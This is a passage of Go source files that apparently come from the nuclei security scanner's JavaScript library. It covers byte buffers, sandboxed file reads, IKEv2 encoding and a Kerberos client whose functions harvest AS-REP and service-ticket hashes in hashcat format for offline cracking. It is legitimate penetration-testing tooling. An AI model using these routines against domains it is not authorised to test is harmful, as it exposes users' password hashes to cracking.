Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright [yyyy] [name of copyright owner]\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\nThis project uses modules from praetorian/fingerprintx for detection of network protocols which is licensed under Apache 2.0."
  },
  {
    "path": "pkg/js/libs/bytes/buffer.go",
    "content": "package bytes\n\nimport (\n\t\"encoding/hex\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/structs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/utils\"\n)\n\ntype (\n\t// Buffer is a bytes/Uint8Array type in javascript\n\t// @example\n\t// ```javascript\n\t// const bytes = require('nuclei/bytes');\n\t// const bytes = new bytes.Buffer();\n\t// ```\n\t// @example\n\t// ```javascript\n\t// const bytes = require('nuclei/bytes');\n\t// // optionally it can accept existing byte/Uint8Array as input\n\t// const bytes = new bytes.Buffer([1, 2, 3]);\n\t// ```\n\tBuffer struct {\n\t\tbuf []byte\n\t}\n)\n\n// NewBuffer creates a new buffer from a byte slice.\nfunc NewBuffer(call goja.ConstructorCall, runtime *goja.Runtime) *goja.Object {\n\tif len(call.Arguments) > 0 {\n\t\tif arg, ok := call.Argument(0).Export().([]byte); ok {\n\t\t\treturn utils.LinkConstructor(call, runtime, &Buffer{buf: arg})\n\t\t} else {\n\t\t\tutils.NewNucleiJS(runtime).Throw(\"Invalid argument type. Expected bytes/Uint8Array as input but got %T\", call.Argument(0).Export())\n\t\t}\n\t}\n\treturn utils.LinkConstructor(call, runtime, &Buffer{})\n}\n\n// Write appends the given data to the buffer.\n// @example\n// ```javascript\n// const bytes = require('nuclei/bytes');\n// const buffer = new bytes.Buffer();\n// buffer.Write([1, 2, 3]);\n// ```\nfunc (b *Buffer) Write(data []byte) *Buffer {\n\tb.buf = append(b.buf, data...)\n\treturn b\n}\n\n// WriteString appends the given string data to the buffer.\n// @example\n// ```javascript\n// const bytes = require('nuclei/bytes');\n// const buffer = new bytes.Buffer();\n// buffer.WriteString('hello');\n// ```\nfunc (b *Buffer) WriteString(data string) *Buffer {\n\tb.buf = append(b.buf, []byte(data)...)\n\treturn b\n}\n\n// Bytes returns the byte representation of the buffer.\n// @example\n// ```javascript\n// const bytes = require('nuclei/bytes');\n// const buffer = new bytes.Buffer();\n// buffer.WriteString('hello');\n// log(buffer.Bytes());\n// ```\nfunc (b *Buffer) Bytes() []byte {\n\treturn b.buf\n}\n\n// String returns the string representation of the buffer.\n// @example\n// ```javascript\n// const bytes = require('nuclei/bytes');\n// const buffer = new bytes.Buffer();\n// buffer.WriteString('hello');\n// log(buffer.String());\n// ```\nfunc (b *Buffer) String() string {\n\treturn string(b.buf)\n}\n\n// Len returns the length of the buffer.\n// @example\n// ```javascript\n// const bytes = require('nuclei/bytes');\n// const buffer = new bytes.Buffer();\n// buffer.WriteString('hello');\n// log(buffer.Len());\n// ```\nfunc (b *Buffer) Len() int {\n\treturn len(b.buf)\n}\n\n// Hex returns the hex representation of the buffer.\n// @example\n// ```javascript\n// const bytes = require('nuclei/bytes');\n// const buffer = new bytes.Buffer();\n// buffer.WriteString('hello');\n// log(buffer.Hex());\n// ```\nfunc (b *Buffer) Hex() string {\n\treturn hex.EncodeToString(b.buf)\n}\n\n// Hexdump returns the hexdump representation of the buffer.\n// @example\n// ```javascript\n// const bytes = require('nuclei/bytes');\n// const buffer = new bytes.Buffer();\n// buffer.WriteString('hello');\n// log(buffer.Hexdump());\n// ```\nfunc (b *Buffer) Hexdump() string {\n\treturn hex.Dump(b.buf)\n}\n\n// Pack uses structs.Pack and packs given data and appends it to the buffer.\n// it packs the data according to the given format.\n// @example\n// ```javascript\n// const bytes = require('nuclei/bytes');\n// const buffer = new bytes.Buffer();\n// buffer.Pack('I', 123);\n// ```\nfunc (b *Buffer) Pack(formatStr string, msg any) error {\n\tbin, err := structs.Pack(formatStr, msg)\n\tif err != nil {\n\t\treturn err\n\t}\n\tb.Write(bin)\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/js/libs/fs/fs.go",
    "content": "package fs\n\nimport (\n\t\"context\"\n\t\"os\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\n// ListDir lists itemType values within a directory\n// depending on the itemType provided\n// itemType can be any one of ['file','dir',”]\n// @example\n// ```javascript\n// const fs = require('nuclei/fs');\n// // this will only return files in /tmp directory\n// const files = fs.ListDir('/tmp', 'file');\n// ```\n// @example\n// ```javascript\n// const fs = require('nuclei/fs');\n// // this will only return directories in /tmp directory\n// const dirs = fs.ListDir('/tmp', 'dir');\n// ```\n// @example\n// ```javascript\n// const fs = require('nuclei/fs');\n// // when no itemType is provided, it will return both files and directories\n// const items = fs.ListDir('/tmp');\n// ```\nfunc ListDir(ctx context.Context, path string, itemType string) ([]string, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\tfinalPath, err := protocolstate.NormalizePathWithExecutionId(executionId, path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvalues, err := os.ReadDir(finalPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar results []string\n\tfor _, value := range values {\n\t\tif itemType == \"file\" && value.IsDir() {\n\t\t\tcontinue\n\t\t}\n\t\tif itemType == \"dir\" && !value.IsDir() {\n\t\t\tcontinue\n\t\t}\n\t\tresults = append(results, value.Name())\n\t}\n\treturn results, nil\n}\n\n// ReadFile reads file contents within permitted paths\n// and returns content as byte array\n// @example\n// ```javascript\n// const fs = require('nuclei/fs');\n// // here permitted directories are $HOME/nuclei-templates/*\n// const content = fs.ReadFile('helpers/usernames.txt');\n// ```\nfunc ReadFile(ctx context.Context, path string) ([]byte, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\tfinalPath, err := protocolstate.NormalizePathWithExecutionId(executionId, path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbin, err := os.ReadFile(finalPath)\n\treturn bin, err\n}\n\n// ReadFileAsString reads file contents within permitted paths\n// and returns content as string\n// @example\n// ```javascript\n// const fs = require('nuclei/fs');\n// // here permitted directories are $HOME/nuclei-templates/*\n// const content = fs.ReadFileAsString('helpers/usernames.txt');\n// ```\nfunc ReadFileAsString(ctx context.Context, path string) (string, error) {\n\tbin, err := ReadFile(ctx, path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(bin), nil\n}\n\n// ReadFilesFromDir reads all files from a directory\n// and returns a string array with file contents of all files\n// @example\n// ```javascript\n// const fs = require('nuclei/fs');\n// // here permitted directories are $HOME/nuclei-templates/*\n// const contents = fs.ReadFilesFromDir('helpers/ssh-keys');\n// log(contents);\n// ```\nfunc ReadFilesFromDir(ctx context.Context, dir string) ([]string, error) {\n\tfiles, err := ListDir(ctx, dir, \"file\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar results []string\n\tfor _, file := range files {\n\t\tcontent, err := ReadFileAsString(ctx, dir+\"/\"+file)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresults = append(results, content)\n\t}\n\treturn results, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/goconsole/log.go",
    "content": "package goconsole\n\nimport (\n\t\"github.com/Mzack9999/goja_nodejs/console\"\n\t\"github.com/projectdiscovery/gologger\"\n)\n\nvar _ console.Printer = &GoConsolePrinter{}\n\n// GoConsolePrinter is a console printer for nuclei using gologger\ntype GoConsolePrinter struct {\n\tlogger *gologger.Logger\n}\n\nfunc NewGoConsolePrinter() *GoConsolePrinter {\n\treturn &GoConsolePrinter{\n\t\tlogger: gologger.DefaultLogger,\n\t}\n}\n\nfunc (p *GoConsolePrinter) Log(msg string) {\n\tp.logger.Info().Msg(msg)\n}\n\nfunc (p *GoConsolePrinter) Warn(msg string) {\n\tp.logger.Warning().Msg(msg)\n}\n\nfunc (p *GoConsolePrinter) Error(msg string) {\n\tp.logger.Error().Msg(msg)\n}\n"
  },
  {
    "path": "pkg/js/libs/ikev2/ikev2.go",
    "content": "package ikev2\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\n\t\"github.com/projectdiscovery/n3iwf/pkg/ike/message\"\n\t\"github.com/projectdiscovery/n3iwf/pkg/logger\"\n)\n\nfunc init() {\n\tlogger.Log.SetOutput(io.Discard)\n}\n\ntype (\n\t// IKEMessage is the IKEv2 message\n\t//\n\t// IKEv2 implements a limited subset of IKEv2 Protocol, specifically\n\t// the IKE_NOTIFY and IKE_NONCE payloads and the IKE_SA_INIT exchange.\n\tIKEMessage struct {\n\t\tInitiatorSPI uint64\n\t\tVersion      uint8\n\t\tExchangeType uint8\n\t\tFlags        uint8\n\t\tpayloads     []IKEPayload\n\t}\n)\n\n// AppendPayload appends a payload to the IKE message\n// payload can be any of the payloads like IKENotification, IKENonce, etc.\n// @example\n// ```javascript\n// const ikev2 = require('nuclei/ikev2');\n// const message = new ikev2.IKEMessage();\n// const nonce = new ikev2.IKENonce();\n// nonce.NonceData = [1, 2, 3];\n// message.AppendPayload(nonce);\n// ```\nfunc (m *IKEMessage) AppendPayload(payload any) error {\n\tif _, ok := payload.(IKEPayload); !ok {\n\t\treturn fmt.Errorf(\"invalid payload type only types defined in ikev module like IKENotification, IKENonce, etc. are allowed\")\n\t}\n\tm.payloads = append(m.payloads, payload.(IKEPayload))\n\treturn nil\n}\n\n// Encode encodes the final IKE message\n// @example\n// ```javascript\n// const ikev2 = require('nuclei/ikev2');\n// const message = new ikev2.IKEMessage();\n// const nonce = new ikev2.IKENonce();\n// nonce.NonceData = [1, 2, 3];\n// message.AppendPayload(nonce);\n// log(message.Encode());\n// ```\nfunc (m *IKEMessage) Encode() ([]byte, error) {\n\tvar payloads message.IKEPayloadContainer\n\tfor _, payload := range m.payloads {\n\t\tp, err := payload.encode()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpayloads = append(payloads, p)\n\t}\n\n\tmsg := &message.IKEMessage{\n\t\tInitiatorSPI: m.InitiatorSPI,\n\t\tVersion:      m.Version,\n\t\tExchangeType: m.ExchangeType,\n\t\tFlags:        m.Flags,\n\t\tPayloads:     payloads,\n\t}\n\tencoded, err := msg.Encode()\n\treturn encoded, err\n}\n\n// IKEPayload is the IKEv2 payload interface\n// All the payloads like IKENotification, IKENonce, etc. implement\n// this interface.\ntype IKEPayload interface {\n\tencode() (message.IKEPayload, error)\n}\n\ntype (\n\t// IKEv2Notify is the IKEv2 Notification payload\n\t// this implements the IKEPayload interface\n\t// @example\n\t// ```javascript\n\t// const ikev2 = require('nuclei/ikev2');\n\t// const notify = new ikev2.IKENotification();\n\t// notify.NotifyMessageType = ikev2.IKE_NOTIFY_NO_PROPOSAL_CHOSEN;\n\t// notify.NotificationData = [1, 2, 3];\n\t// ```\n\tIKENotification struct {\n\t\tNotifyMessageType uint16\n\t\tNotificationData  []byte\n\t}\n)\n\n// encode encodes the IKEv2 Notification payload\nfunc (i *IKENotification) encode() (message.IKEPayload, error) {\n\tnotify := message.Notification{\n\t\tNotifyMessageType: i.NotifyMessageType,\n\t\tNotificationData:  i.NotificationData,\n\t}\n\treturn &notify, nil\n}\n\nconst (\n\t// Notify message types\n\tIKE_NOTIFY_NO_PROPOSAL_CHOSEN = 14\n\tIKE_NOTIFY_USE_TRANSPORT_MODE = 16391\n\n\tIKE_VERSION_2 = 0x20\n\n\t// Exchange Type\n\tIKE_EXCHANGE_SA_INIT         = 34\n\tIKE_EXCHANGE_AUTH            = 35\n\tIKE_EXCHANGE_CREATE_CHILD_SA = 36\n\tIKE_EXCHANGE_INFORMATIONAL   = 37\n\n\t// Flags\n\tIKE_FLAGS_InitiatorBitCheck = 0x08\n)\n\ntype (\n\t// IKENonce is the IKEv2 Nonce payload\n\t// this implements the IKEPayload interface\n\t// @example\n\t// ```javascript\n\t// const ikev2 = require('nuclei/ikev2');\n\t// const nonce = new ikev2.IKENonce();\n\t// nonce.NonceData = [1, 2, 3];\n\t// ```\n\tIKENonce struct {\n\t\tNonceData []byte\n\t}\n)\n\n// encode encodes the IKEv2 Nonce payload\nfunc (i *IKENonce) encode() (message.IKEPayload, error) {\n\tnonce := message.Nonce{\n\t\tNonceData: i.NonceData,\n\t}\n\treturn &nonce, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/kerberos/kerberosx.go",
    "content": "package kerberos\n\nimport (\n\t\"strings\"\n\n\t\"github.com/Mzack9999/goja\"\n\tkclient \"github.com/jcmturner/gokrb5/v8/client\"\n\tkconfig \"github.com/jcmturner/gokrb5/v8/config\"\n\t\"github.com/jcmturner/gokrb5/v8/iana/errorcode\"\n\t\"github.com/jcmturner/gokrb5/v8/messages\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\tConversionUtil \"github.com/projectdiscovery/utils/conversion\"\n)\n\ntype (\n\t// EnumerateUserResponse is the response from EnumerateUser\n\tEnumerateUserResponse struct {\n\t\tValid     bool   `json:\"valid\"`\n\t\tASREPHash string `json:\"asrep_hash\"`\n\t\tError     string `json:\"error\"`\n\t}\n)\n\ntype (\n\t// TGS is the response from GetServiceTicket\n\tTGS struct {\n\t\tTicket messages.Ticket `json:\"ticket\"`\n\t\tHash   string          `json:\"hash\"`\n\t\tErrMsg string          `json:\"error\"`\n\t}\n)\n\ntype (\n\t// Config is extra configuration for the kerberos client\n\tConfig struct {\n\t\tip      string\n\t\ttimeout int // in seconds\n\t}\n)\n\n// SetIPAddress sets the IP address for the kerberos client\n// @example\n// ```javascript\n// const kerberos = require('nuclei/kerberos');\n// const cfg = new kerberos.Config();\n// cfg.SetIPAddress('10.10.10.1');\n// ```\nfunc (c *Config) SetIPAddress(ip string) *Config {\n\tc.ip = ip\n\treturn c\n}\n\n// SetTimeout sets the RW timeout for the kerberos client\n// @example\n// ```javascript\n// const kerberos = require('nuclei/kerberos');\n// const cfg = new kerberos.Config();\n// cfg.SetTimeout(5);\n// ```\nfunc (c *Config) SetTimeout(timeout int) *Config {\n\tc.timeout = timeout\n\treturn c\n}\n\n// Example Values for jargons\n// Realm: ACME.COM (Authentical zone / security area)\n// Domain: acme.com (Public website / domain)\n// DomainController: dc.acme.com (Domain Controller / Active Directory Server)\n// KDC: kdc.acme.com (Key Distribution Center / Authentication Server)\n\ntype (\n\t// Known Issues:\n\t// Hardcoded timeout in gokrb5 library\n\t// TGT / Session Handling not exposed\n\t// Client is kerberos client\n\t// @example\n\t// ```javascript\n\t// const kerberos = require('nuclei/kerberos');\n\t// // if controller is empty a dns lookup for default kdc server will be performed\n\t// const client = new kerberos.Client('acme.com', 'kdc.acme.com');\n\t// ```\n\tClient struct {\n\t\tnj         *utils.NucleiJS // helper functions/bindings\n\t\tKrb5Config *kconfig.Config\n\t\tRealm      string\n\t\tconfig     Config\n\t}\n)\n\n// Constructor for Kerberos Client\n// Constructor: constructor(public domain: string, public controller?: string)\n// When controller is empty or not given krb5 will perform a DNS lookup for the default KDC server\n// and retrieve its address from the DNS server\nfunc NewKerberosClient(call goja.ConstructorCall, runtime *goja.Runtime) *goja.Object {\n\t// setup nucleijs utils\n\tc := &Client{nj: utils.NewNucleiJS(runtime)}\n\tc.nj.ObjectSig = \"Client(domain, {controller})\" // will be included in error messages\n\n\t// get arguments (type assertion is efficient than reflection)\n\t// when accepting type as input like net.Conn we can use utils.GetArg\n\tdomain, _ := c.nj.GetArg(call.Arguments, 0).(string)\n\tcontroller, _ := c.nj.GetArg(call.Arguments, 1).(string)\n\n\t// validate arguments\n\tc.nj.Require(domain != \"\", \"domain cannot be empty\")\n\n\tcfg := kconfig.New()\n\n\tif controller != \"\" {\n\t\t// validate controller hostport\n\t\texecutionId := c.nj.ExecutionId()\n\t\tif !protocolstate.IsHostAllowed(executionId, controller) {\n\t\t\tc.nj.Throw(\"domain controller address blacklisted by network policy\")\n\t\t}\n\n\t\ttmp := strings.Split(controller, \":\")\n\t\tif len(tmp) == 1 {\n\t\t\ttmp = append(tmp, \"88\")\n\t\t}\n\t\trealm := strings.ToUpper(domain)\n\t\tcfg.LibDefaults.DefaultRealm = realm // set default realm\n\t\tcfg.Realms = []kconfig.Realm{\n\t\t\t{\n\t\t\t\tRealm:         realm,\n\t\t\t\tKDC:           []string{tmp[0] + \":\" + tmp[1]},\n\t\t\t\tAdminServer:   []string{tmp[0] + \":\" + tmp[1]},\n\t\t\t\tKPasswdServer: []string{tmp[0] + \":464\"}, // default password server port\n\t\t\t},\n\t\t}\n\t\tcfg.DomainRealm = make(kconfig.DomainRealm)\n\t} else {\n\t\t// if controller is empty use DNS lookup\n\t\tcfg.LibDefaults.DNSLookupKDC = true\n\t\tcfg.LibDefaults.DefaultRealm = strings.ToUpper(domain)\n\t\tcfg.DomainRealm = make(kconfig.DomainRealm)\n\t}\n\tc.Krb5Config = cfg\n\tc.Realm = strings.ToUpper(domain)\n\n\t// Link Constructor to Client and return\n\treturn utils.LinkConstructor(call, runtime, c)\n}\n\n// NewKerberosClientFromString creates a new kerberos client from a string\n// by parsing krb5.conf\n// @example\n// ```javascript\n// const kerberos = require('nuclei/kerberos');\n// const client = kerberos.NewKerberosClientFromString(`\n// [libdefaults]\n// default_realm = ACME.COM\n// dns_lookup_kdc = true\n// `);\n// ```\nfunc NewKerberosClientFromString(cfg string) (*Client, error) {\n\tconfig, err := kconfig.NewFromString(cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Client{Krb5Config: config}, nil\n}\n\n// SetConfig sets additional config for the kerberos client\n// Note: as of now ip and timeout overrides are only supported\n// in EnumerateUser due to fastdialer but can be extended to other methods currently\n// @example\n// ```javascript\n// const kerberos = require('nuclei/kerberos');\n// const client = new kerberos.Client('acme.com', 'kdc.acme.com');\n// const cfg = new kerberos.Config();\n// cfg.SetIPAddress('192.168.100.22');\n// cfg.SetTimeout(5);\n// client.SetConfig(cfg);\n// ```\nfunc (c *Client) SetConfig(cfg *Config) {\n\tif cfg == nil {\n\t\tc.nj.Throw(\"config cannot be nil\")\n\t}\n\tc.config = *cfg\n}\n\n// EnumerateUser and attempt to get AS-REP hash by disabling PA-FX-FAST\n// @example\n// ```javascript\n// const kerberos = require('nuclei/kerberos');\n// const client = new kerberos.Client('acme.com', 'kdc.acme.com');\n// const resp = client.EnumerateUser('pdtm');\n// log(resp);\n// ```\nfunc (c *Client) EnumerateUser(username string) (EnumerateUserResponse, error) {\n\tc.nj.Require(c.Krb5Config != nil, \"Kerberos client not initialized\")\n\tpassword := \"password\"\n\t// client does not actually attempt connection it manages state here\n\tclient := kclient.NewWithPassword(username, c.Realm, password, c.Krb5Config, kclient.DisablePAFXFAST(true))\n\tdefer client.Destroy()\n\n\t// generate ASReq hash\n\treq, err := messages.NewASReqForTGT(client.Credentials.Domain(), client.Config, client.Credentials.CName())\n\tc.nj.HandleError(err, \"failed to generate TGT request\")\n\n\t// marshal request\n\tb, err := req.Marshal()\n\tc.nj.HandleError(err, \"failed to marshal TGT request\")\n\n\tdata, err := SendToKDC(c, string(b))\n\trb := ConversionUtil.Bytes(data)\n\n\tif err == nil {\n\t\tvar ASRep messages.ASRep\n\t\tresp := EnumerateUserResponse{Valid: true}\n\t\terr = ASRep.Unmarshal(rb)\n\t\tif err != nil {\n\t\t\tresp.Error = err.Error()\n\t\t\treturn resp, nil\n\t\t}\n\t\thashcatString, _ := ASRepToHashcat(ASRep)\n\t\tresp.ASREPHash = hashcatString\n\t\treturn resp, nil\n\t}\n\n\tresp := EnumerateUserResponse{}\n\te, ok := err.(messages.KRBError)\n\tif !ok {\n\t\treturn resp, err\n\t}\n\tif e.ErrorCode == errorcode.KDC_ERR_PREAUTH_REQUIRED {\n\t\tresp.Valid = true\n\t\tresp.Error = errorcode.Lookup(e.ErrorCode)\n\t\treturn resp, nil\n\t}\n\tresp.Error = errorcode.Lookup(e.ErrorCode)\n\treturn resp, nil\n}\n\n// GetServiceTicket returns a TGS for a given user, password and SPN\n// @example\n// ```javascript\n// const kerberos = require('nuclei/kerberos');\n// const client = new kerberos.Client('acme.com', 'kdc.acme.com');\n// const resp = client.GetServiceTicket('pdtm', 'password', 'HOST/CLIENT1');\n// log(resp);\n// ```\nfunc (c *Client) GetServiceTicket(User, Pass, SPN string) (TGS, error) {\n\tc.nj.Require(c.Krb5Config != nil, \"Kerberos client not initialized\")\n\tc.nj.Require(User != \"\", \"User cannot be empty\")\n\tc.nj.Require(Pass != \"\", \"Pass cannot be empty\")\n\tc.nj.Require(SPN != \"\", \"SPN cannot be empty\")\n\n\texecutionId := c.nj.ExecutionId()\n\n\tif len(c.Krb5Config.Realms) > 0 {\n\t\t// this means dc address was given\n\t\tfor _, r := range c.Krb5Config.Realms {\n\t\t\tfor _, kdc := range r.KDC {\n\t\t\t\tif !protocolstate.IsHostAllowed(executionId, kdc) {\n\t\t\t\t\tc.nj.Throw(\"KDC address %v blacklisted by network policy\", kdc)\n\t\t\t\t}\n\t\t\t}\n\t\t\tfor _, kpasswd := range r.KPasswdServer {\n\t\t\t\tif !protocolstate.IsHostAllowed(executionId, kpasswd) {\n\t\t\t\t\tc.nj.Throw(\"Kpasswd address %v blacklisted by network policy\", kpasswd)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// here net.Dialer is used instead of fastdialer hence get possible addresses\n\t\t// and check if they are allowed by network policy\n\t\t_, kdcs, _ := c.Krb5Config.GetKDCs(c.Realm, true)\n\t\tfor _, v := range kdcs {\n\t\t\tif !protocolstate.IsHostAllowed(executionId, v) {\n\t\t\t\tc.nj.Throw(\"KDC address %v blacklisted by network policy\", v)\n\t\t\t}\n\t\t}\n\t}\n\n\t// client does not actually attempt connection it manages state here\n\tclient := kclient.NewWithPassword(User, c.Realm, Pass, c.Krb5Config, kclient.DisablePAFXFAST(true))\n\tdefer client.Destroy()\n\n\tresp := TGS{}\n\n\tticket, _, err := client.GetServiceTicket(SPN)\n\tresp.Ticket = ticket\n\tif err != nil {\n\t\tif code, ok := err.(messages.KRBError); ok {\n\t\t\tresp.ErrMsg = errorcode.Lookup(code.ErrorCode)\n\t\t\treturn resp, err\n\t\t}\n\t\treturn resp, err\n\t}\n\t// convert AS-REP to hashcat format\n\thashcat, err := TGStoHashcat(ticket, c.Realm)\n\tif err != nil {\n\t\tif code, ok := err.(messages.KRBError); ok {\n\t\t\tresp.ErrMsg = errorcode.Lookup(code.ErrorCode)\n\t\t\treturn resp, err\n\t\t}\n\t\treturn resp, err\n\t}\n\tresp.Ticket = ticket\n\tresp.Hash = hashcat\n\treturn resp, nil\n}\n\n// // GetASREP returns AS-REP for a given user and password\n// // it contains Client's TGT , Principal and Session Key\n// // Signature: GetASREP(User, Pass)\n// // @param User: string\n// // @param Pass: string\n// func (c *Client) GetASREP(User, Pass string) messages.ASRep {\n// \tc.nj.Require(c.Krb5Config != nil, \"Kerberos client not initialized\")\n// \tc.nj.Require(User != \"\", \"User cannot be empty\")\n// \tc.nj.Require(Pass != \"\", \"Pass cannot be empty\")\n\n// \tif len(c.Krb5Config.Realms) > 0 {\n// \t\t// this means dc address was given\n// \t\tfor _, r := range c.Krb5Config.Realms {\n// \t\t\tfor _, kdc := range r.KDC {\n// \t\t\t\tif !protocolstate.IsHostAllowed(kdc) {\n// \t\t\t\t\tc.nj.Throw(\"KDC address blacklisted by network policy\")\n// \t\t\t\t}\n// \t\t\t}\n// \t\t\tfor _, kpasswd := range r.KPasswdServer {\n// \t\t\t\tif !protocolstate.IsHostAllowed(kpasswd) {\n// \t\t\t\t\tc.nj.Throw(\"Kpasswd address blacklisted by network policy\")\n// \t\t\t\t}\n// \t\t\t}\n// \t\t}\n// \t} else {\n// \t\t// here net.Dialer is used instead of fastdialer hence get possible addresses\n// \t\t// and check if they are allowed by network policy\n// \t\t_, kdcs, _ := c.Krb5Config.GetKDCs(c.Realm, true)\n// \t\tfor _, v := range kdcs {\n// \t\t\tif !protocolstate.IsHostAllowed(v) {\n// \t\t\t\tc.nj.Throw(\"KDC address blacklisted by network policy\")\n// \t\t\t}\n// \t\t}\n// \t}\n\n// \t// login to get TGT\n// \tcl := kclient.NewWithPassword(User, c.Realm, Pass, c.Krb5Config, kclient.DisablePAFXFAST(true))\n// \tdefer cl.Destroy()\n\n// \t// generate ASReq\n// \tASReq, err := messages.NewASReqForTGT(cl.Credentials.Domain(), cl.Config, cl.Credentials.CName())\n// \tc.nj.HandleError(err, \"failed to generate TGT request\")\n\n// \t// exchange AS-REQ for AS-REP\n// \tresp, err := cl.ASExchange(c.Realm, ASReq, 0)\n// \tc.nj.HandleError(err, \"failed to exchange AS-REQ\")\n\n// \t// try to decrypt encrypted parts of the response and TGT\n// \tkey, err := resp.DecryptEncPart(cl.Credentials)\n// \tif err == nil {\n// \t\t_ = resp.Ticket.Decrypt(key)\n// \t}\n// \treturn resp\n// }\n"
  },
  {
    "path": "pkg/js/libs/kerberos/sendtokdc.go",
    "content": "package kerberos\n\n// the following code is adapted from the original library\n// https://github.com/jcmturner/gokrb5/blob/855dbc707a37a21467aef6c0245fcf3328dc39ed/v8/client/network.go\n// it is copied here because the library does not export \"SendToKDC()\"\n\nimport (\n\t\"context\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/jcmturner/gokrb5/v8/messages\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\n// sendtokdc.go deals with actual sending and receiving responses from KDC\n// SendToKDC sends a message to the KDC and returns the response.\n// It first tries to send the message over TCP, and if that fails, it falls back to UDP.(and vice versa)\n// @example\n// ```javascript\n// const kerberos = require('nuclei/kerberos');\n// const client = new kerberos.Client('acme.com');\n// const response = kerberos.SendToKDC(client, 'message');\n// ```\nfunc SendToKDC(kclient *Client, msg string) (string, error) {\n\tif kclient == nil || kclient.nj == nil || kclient.Krb5Config == nil || kclient.Realm == \"\" {\n\t\treturn \"\", fmt.Errorf(\"kerberos client is not initialized\")\n\t}\n\tif kclient.config.timeout == 0 {\n\t\tkclient.config.timeout = 5 // default timeout 5 seconds\n\t}\n\tvar response []byte\n\tvar err error\n\n\tresponse, err = sendToKDCTcp(kclient, msg)\n\tif err == nil {\n\t\t// if it related to tcp\n\t\tbin, err := CheckKrbError(response)\n\t\tif err == nil {\n\t\t\treturn string(bin), nil\n\t\t}\n\t\t// if it is krb error no need to do udp\n\t\tif e, ok := err.(messages.KRBError); ok {\n\t\t\treturn string(response), e\n\t\t}\n\t}\n\n\t// fallback to udp\n\tresponse, err = sendToKDCUdp(kclient, msg)\n\tif err == nil {\n\t\t// if it related to udp\n\t\tbin, err := CheckKrbError(response)\n\t\tif err == nil {\n\t\t\treturn string(bin), nil\n\t\t}\n\t}\n\treturn string(response), err\n}\n\n// sendToKDCTcp sends a message to the KDC via TCP.\nfunc sendToKDCTcp(kclient *Client, msg string) ([]byte, error) {\n\t_, kdcs, err := kclient.Krb5Config.GetKDCs(kclient.Realm, true)\n\tkclient.nj.HandleError(err, \"error getting KDCs\")\n\tkclient.nj.Require(len(kdcs) > 0, \"no KDCs found\")\n\n\texecutionId := kclient.nj.ExecutionId()\n\tdialers := protocolstate.GetDialersWithId(executionId)\n\tif dialers == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tvar errs []string\n\tfor i := 1; i <= len(kdcs); i++ {\n\t\thost, port, err := net.SplitHostPort(kdcs[i])\n\t\tif err == nil && kclient.config.ip != \"\" {\n\t\t\t// use that ip address instead of realm/domain for resolving\n\t\t\thost = kclient.config.ip\n\t\t}\n\t\ttcpConn, err := dialers.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(host, port))\n\t\tif err != nil {\n\t\t\terrs = append(errs, fmt.Sprintf(\"error establishing connection to %s: %v\", kdcs[i], err))\n\t\t\tcontinue\n\t\t}\n\t\tdefer func() {\n\t\t\t_ = tcpConn.Close()\n\t\t}()\n\t\t_ = 